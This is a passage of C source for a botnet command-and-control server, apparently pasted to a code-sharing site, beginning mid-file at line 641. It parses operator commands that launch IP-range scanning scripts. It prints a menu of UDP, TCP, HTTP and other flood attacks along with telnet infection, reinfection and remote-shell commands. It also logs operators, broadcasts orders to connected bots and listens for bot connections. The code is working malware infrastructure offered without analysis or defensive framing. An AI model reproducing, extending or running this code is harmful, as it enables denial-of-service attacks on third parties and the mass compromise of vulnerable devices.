  641. system("python scan.py 376 LOAD 88 1");
  642. continue;
  643. }
  644. if(strstr(buf, "SCAN1"))
  645. {
  646. system("python scan.py 376 B 119.92 lol");
  647. continue;
  648. }
  649. if(strstr(buf, "SCAN2"))
  650. {
  651. system("python scan.py 376 B 119.93 lol");
  652. continue;
  653. }
  654. if(strstr(buf, "SCAN3")) {
  655. system("python scan.py 376 B 125.25 1");
  656. continue;
  657. }
  658. if(strstr(buf, "SCAN4"))
  659. {
  660. system("python scan.py 376 B 125.26 1");
  661. continue;
  662. }
  663. if(strstr(buf, "SCAN5")) {
  664. system("python scan.py 376 B 125.27 1");
  665. continue;
  666. }
  667. if(strstr(buf, "SCAN6")) {
  668. system("python scan.py 376 B 113.53 1");
  669. continue;
  670. }
  671. if(strstr(buf, "SCAN7"))
  672. {
  673. system("python scan.py 376 B 180.180 1");
  674. continue;
  675. }
  676. if(strstr(buf, "SCAN8"))
  677. {
  678. system("python scan.py 376 B 185.52 1");
  679. continue;
  680. }
  681. if(strstr(buf, "SCAN9"))
  682. {
  683. system("python scan.py 376 B 122.52 1");
  684. continue;
  685. }
  686. if(strstr(buf, "SCAN10"))
  687. {
  688. system("python scan.py 376 B 122.53 1");
  689. continue;
  690. }
  691. if(strstr(buf, "SCAN11"))
  692. {
  693. system("python scan.py 376 B 101.102");
  694. continue;
  695. }
  696. if(strstr(buf, "LUCKY"))
  697. {
  698. system("python scan.py 376 LUCKY 88 1");
  699. continue;
  700. }
  701. if(strstr(buf, "LUCKY2"))
  702. {
  703. system("python scan.py 376 LUCKY2 88 1");
  704. continue;
  705. }
  706. if(strstr(buf, "SCAN_OFF"))
  707. {
  708. system("killall -9 python");
  709. continue;
  710. }/*OTHER COMMANDS*/
  711. if(strstr(buf, "HELP"))
  712. {
  713. pthread_create(&title, NULL, &TitleWriter, sock);
  714. char helpline1 [80];
  715. char helpline2 [80];
  716. char helpline3 [80];
  717. char helpline4 [80];
  718. char helpline5 [80];
  719. char helpline6 [80];
  720. char helpline7 [80];
  721. char helpline8 [80];
  722. char helpline9 [80];
  723. char helpline10 [80];
  724. char helpline11 [80];
  725. char helpline12 [80];
  726. char helpline13 [80];
  727. char helpline14 [80];
  728. char helpline15 [80];
  729. char helpline16 [80];
  730. char helpline17 [80];
  731. char helpline18 [80];
  732. char helpline19 [80];
  733. char helpline20 [80];
  734. char helpline21 [80];
  735. char helpline22 [80];
  736. char helpline23 [80];
  737. char helpline24 [80];
  738. char helpline25 [80];
  739. char helpline26 [80];
  740.  
  741.  
  742.  
  743. sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n");
  744. sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n");
  745. sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n");
  746. sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n");
  747. sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n");
  748. sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n");
  749. sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n");
  750. sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n");
  751.  
  752. sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n");
  753. sprintf(helpline10, "[-] LOAD - LOAD\r\n");
  754. sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  755. sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  756. sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n");
  757. sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n");
  758.  
  759. sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  760. sprintf(helpline16, "[-] SHELL - !* SH\r\n");
  761. sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n");
  762. sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  763. sprintf(helpline19, "[-] STATS - STATS\r\n");
  764.  
  765. sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  766. sprintf(helpline21, "[-] ATTACK_GUI - ATTACK");
  767. sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  768. sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n");
  769. sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n");
  770. sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n");
  771. sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n");
  772.  
  773.  
  774.  
  775. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  782. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  783. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  784. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  785. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  786. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  787. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  788. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  789. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  790. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  791. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  792. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  793. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  794. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  795. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  796. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  797. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  798. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  799. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  800. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  801. pthread_create(&title, NULL, &TitleWriter, sock);
  802. continue;
  803. }
  804. if(strstr(buf, "KILL"))
  805. {
  806. char killattack [2048];
  807. memset(killattack, 0, 2048);
  808. char killattack_msg [2048];
  809.  
  810. sprintf(killattack, "!* KILLATTK\r\n");
  811. broadcast(killattack, datafd, "KILL THAT SHIT");
  812. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  813.  
  814. sprintf(killattack_msg, "Attack Killed!\r\n");
  815. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  816. continue;
  817. }
  818. if(strstr(buf, "CLEAR"))
  819. {
  820. char clearscreen [2048];
  821. memset(clearscreen, 0, 2048);
  822. sprintf(clearscreen, "\033[2J\033[1;1H");
  823. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  824. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  825. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  826. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  827. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  828. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  829. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  830. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  831. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  832. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  833. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  834. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  835. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  836. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  837. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  838. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  839. while(1) {
  840. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  841. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  842. break;
  843. }
  844. continue;
  845. }
  846. if(strstr(buf, "LOGOUT"))
  847. {
  848. char logoutmessage [2048];
  849. memset(logoutmessage, 0, 2048);
  850. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  851. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  852. sleep(5);
  853. goto end;
  854. }
  855. trim(buf);
  856. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  857. if(strlen(buf) == 0) continue;
  858. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  859.  
  860. FILE *LogFile;
  861. LogFile = fopen("server_log.txt", "a");
  862. time_t now;
  863. struct tm *gmt;
  864. char formatted_gmt [50];
  865. char lcltime[50];
  866. now = time(NULL);
  867. gmt = gmtime(&now);
  868. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  869. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  870. fclose(LogFile);
  871. broadcast(buf, datafd, accounts[find_line].username);
  872. memset(buf, 0, 2048);
  873. }
  874. end:
  875. managements[datafd].connected = 0;
  876. close(datafd);
  877. OperatorsConnected--;
  878. }
  879. void *BotListener(int port) {
  880. int sockfd, newsockfd;
  881. socklen_t clilen;
  882. struct sockaddr_in serv_addr, cli_addr;
  883. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  884. if (sockfd < 0) perror("ERROR opening socket");
  885. bzero((char *) &serv_addr, sizeof(serv_addr));
  886. serv_addr.sin_family = AF_INET;
  887. serv_addr.sin_addr.s_addr = INADDR_ANY;
  888. serv_addr.sin_port = htons(port);
  889. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  890. listen(sockfd,5);
  891. clilen = sizeof(cli_addr);
  892. while(1) {
  893. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  894. if (newsockfd < 0) perror("ERROR on accept");
  895. pthread_t thread;
  896. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  897. }}
  898. int main (int argc, char *argv[], void *sock)//~B1NARY~
  899. {
  900. signal(SIGPIPE, SIG_IGN);
  901. int s, threads, port;
  902. struct epoll_event event;
  903. if (argc != 4) {
  904. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  905. exit (EXIT_FAILURE);
  906. }
  907. port = atoi(argv[3]);
  908. telFD = fopen("telnet.txt", "a+");
  909. threads = atoi(argv[2]);
  910. listenFD = create_and_bind (argv[1]);
  911. if (listenFD == -1) abort ();
  912. s = make_socket_non_blocking (listenFD);
  913. if (s == -1) abort ();
  914. s = listen (listenFD, SOMAXCONN);
  915. if (s == -1) {
  916. perror ("listen");
  917. abort ();
  918. }
  919. epollFD = epoll_create1 (0);
  920. if (epollFD == -1) {
  921. perror ("epoll_create");
  922. abort ();
  923. }
  924. event.data.fd = listenFD;
  925. event.events = EPOLLIN | EPOLLET;
  926. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  927. if (s == -1) {
  928. perror ("epoll_ctl");
  929. abort ();
  930. }
  931. pthread_t thread[threads + 2];
  932. while(threads--) {
  933. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  934. }
  935. pthread_create(&thread[0], NULL, &BotListener, port);
  936. while(1) {
  937. broadcast("PING", -1, "LEL");
  938. sleep(60);
  939. }
  940. close (listenFD);
  941. return EXIT_SUCCESS;
  942. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement